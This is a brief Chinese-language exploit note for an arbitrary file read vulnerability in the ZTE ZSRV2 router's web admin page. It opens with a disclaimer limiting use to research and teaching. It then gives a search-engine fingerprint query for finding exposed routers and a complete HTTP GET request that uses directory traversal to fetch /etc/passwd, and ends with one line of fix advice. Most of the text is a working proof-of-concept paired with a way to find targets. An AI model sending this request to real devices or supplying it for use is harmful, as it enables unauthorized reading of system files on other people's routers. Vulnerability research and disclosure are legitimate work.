中兴-ZSRV2路由器-任意文件读取
免责声明
文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任
漏洞描述
该路由器管理页面的存在任意文件读取漏洞
搜索语法
title=“ZSRV2路由器Web管理系统”
漏洞复现
GET /../../../../../../../../etc/passwd HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
修复建议
升级到最新版本